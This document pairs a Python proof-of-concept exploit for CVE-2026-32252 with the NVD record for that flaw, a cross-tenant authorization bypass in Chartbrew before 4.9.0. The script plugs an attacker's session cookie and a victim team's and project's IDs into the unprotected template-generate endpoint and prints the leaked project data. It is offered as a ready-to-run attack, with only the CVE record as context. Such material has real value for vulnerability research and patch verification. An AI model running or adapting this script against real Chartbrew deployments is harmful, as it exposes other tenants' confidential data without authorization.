CVE-2026-32252

import requests # Configuration target_host = "http://vulnerable-chartbrew-instance.com" attacker_session_cookie = "session_cookie_here" # IDs of the victim's resources victim_team_id = "2" victim_project_id = "456" # The vulnerable endpoint # Note: The checkAccess promise is not awaited, allowing access bypass exploit_url = f"{target_host}/team/{victim_team_id}/template/generate/{victim_project_id}" headers = { "Cookie": attacker_session_cookie, "User-Agent": "Mozilla/5.0 (PoC Analyst)" } try: response = requests.get(exploit_url, headers=headers) if response.status_code == 200: print("[+] Exploit Successful!") print("[+] Leaked Project Data:") print(response.json()) else: print(f"[-] Exploit Failed. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}")

{"cve": {"id": "CVE-2026-32252", "sourceIdentifier": "[email protected]", "published": "2026-04-10T20:16:21.793", "lastModified": "2026-04-14T17:25:25.940", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Chartbrew is an open-source web application that can connect directly to databases and APIs and use the data to create charts. Prior to 4.9.0, a cross-tenant authorization bypass exists in Chartbrew in GET /team/:team_id/template/generate/:project_id. The GET handler calls checkAccess(req, \"updateAny\", \"chart\") without awaiting the returned promise, and it does not verify that the supplied project_id belongs to req.params.team_id or to the caller's team. As a result, an authenticated attacker with valid template-generation permissions in their own team can request the template model for a project belonging to another team and receive victim project data. This vulnerability is fixed in 4.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 7.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:depomo:chartbrew:*:*:*:*:*:*:*:*", "versionEndExcluding": "4.9.0", "matchCriteriaId": "F1B79ADD-1022-438B-B011-661FBC9E6C0A"}]}]}], "references": [{"url": "https://github.com/chartbrew/chartbrew/commit/bf5919043d3587fcbe76123aaabd9a0a9d1033f1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/chartbrew/chartbrew/security/advisories/GHSA-mw4f-cf22-qpcj", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}, {"url": "https://github.com/chartbrew/chartbrew/security/advisories/GHSA-mw4f-cf22-qpcj", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}